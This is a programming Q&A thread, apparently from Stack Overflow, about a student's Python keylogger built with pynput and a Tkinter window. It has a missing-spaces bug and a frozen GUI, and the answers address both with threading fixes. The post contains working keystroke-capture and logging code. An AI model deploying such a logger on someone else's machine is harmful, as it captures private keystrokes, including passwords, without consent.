Krish
Krish

Reputation: 55

Errors with Tkinter and Keylogger

I am trying to write a keylogger program for a school project and am getting errors with;

  1. When writing to the txt file the spaces do not work so all the text is together.
  2. I am unable to get the GUI to load, I am using Tkinter and even when I got it to work it would freeze and crash after starting. If there is any fix or help it would be greatly appreciated. Here is my code:
# Keylogger Program Using Pynput

# Imports
from tkinter import *
import os
from pynput.keyboard import Key, Listener
import pynput

from keylogger import on_press, on_release

count = 0
keys = []


def start_keylogger():

    # For every 5 keys pressed the log will update, this value can change.
    def on_press(key):
        global keys, count

        keys.append(key)
        count += 1
        print("{0} pressed".format(key))

        if count >= 2:
            count = 0
            write_file(keys)
            keys = []

    # Making the log file more readable.
    def write_file(keys):
        with open("log.txt", "a") as f:
            for key in keys:
                k = str(key).replace("'", "")
                if k.find("space") > 0:
                    f.write(" ")
                elif k.find("Key") == -1:
                    f.write(k)

    # To exit/stop the keylogger.
    def on_release(key):
        if key == Key.esc:
            return False

    # For the keylogger itself.
    with Listener(on_press=on_press, on_release=on_release) as listener:
        listener.join()


def open_log():
    ff = open("log.txt", "r")
    print(ff.read())

# Simple GUI
# Creating the window
# Modifying the window


root = Tk()
root.title("Keylogger")
root.geometry("300x300")
root.configure(bg="#808080")

# Title
theLabel = Label(root, text="Krish's Keylogger.", bg="#808080")
theLabel.pack()

# Button 1 to start the keylogger.
button1 = Button(root, text="Start", bg="#059CF0", fg="white", command=start_keylogger)
button1.pack(fill=X)

# Button 2 to open the log file.
button2 = Button(root, text="Open Log", bg="#059CF0", fg="white", command=open_log)
button2.pack(fill=X)

# Button 3 to end the keylogger.
button3 = Button(root, text="Exit", bg="#059CF0", fg="white", command=root.quit)
button3.pack(fill=X)

# Status Bar
status = Label(root, text="Currently doing nothing!", bd=1, relief=SUNKEN, anchor=W)
status.pack(side=BOTTOM, fill=X)

root.mainloop()

Thank you!

Upvotes: 0

Views: 325

Answers (2)

furas
furas

Reputation: 142992

You have to put code inside listener

with Listener(on_press=on_press, on_release=on_release) as listener:

     # ... your code with GUI ...
     # ... or at least `root.mainloop()

     listener.join()

Or you can write it little different but maybe better to understand it.

listener = Listener(on_press=on_press, on_release=on_release)
listener.start()

# ... your code with GUI ...
# ... or at least `root.mainloop()`

listener.stop()    
listener.join()

Listener already uses thread to run its code (and this is why it uses .join() like thread) and there is no need to put it in another thread.

There is source code for class AbstractListener(threading.Thread) which later is used to create keyboard.Listener and mouse.Listener. In this code in comment you can also see how to use it with start, stop and try/except.

Upvotes: 1

TheLizzard
TheLizzard

Reputation: 7710

Try something like this:

from tkinter import *
from threading import Thread
import time


def _start_keylogger():
    # I am replacing all of the keylogger code with a `time.sleep`
    time.sleep(10)

def start_keylogger():
    new_thread = Thread(target=_start_keylogger, daemon=True)
    new_thread.start()

root = Tk()
root.title("Keylogger")
root.geometry("300x300")
root.configure(bg="#808080")

# Title
theLabel = Label(root, text="Krish's Keylogger.", bg="#808080")
theLabel.pack()

# Button 1 to start the keylogger.
button1 = Button(root, text="Start", bg="#059CF0", fg="white",
                 command=start_keylogger)
button1.pack(fill="x")

# Button 2 to open the log file.
button2 = Button(root, text="Open Log", bg="#059CF0", fg="white",
                 command=None)
button2.pack(fill="x")

# Button 3 to end the keylogger.
button3 = Button(root, text="Exit", bg="#059CF0", fg="white", command=root.quit)
button3.pack(fill="x")

# Status Bar
status = Label(root, text="Currently doing nothing!", bd=1, relief="sunken",
               anchor="w")
status.pack(side="bottom", fill="x")

root.mainloop()

I use new_thread = Threading(target=..., daemon=True) to create the new thread then new_thread.start() to start the thread. Please note that I replaced all of the keylogging code with time.sleep because I don't have that library installed.

Upvotes: 1

Related Questions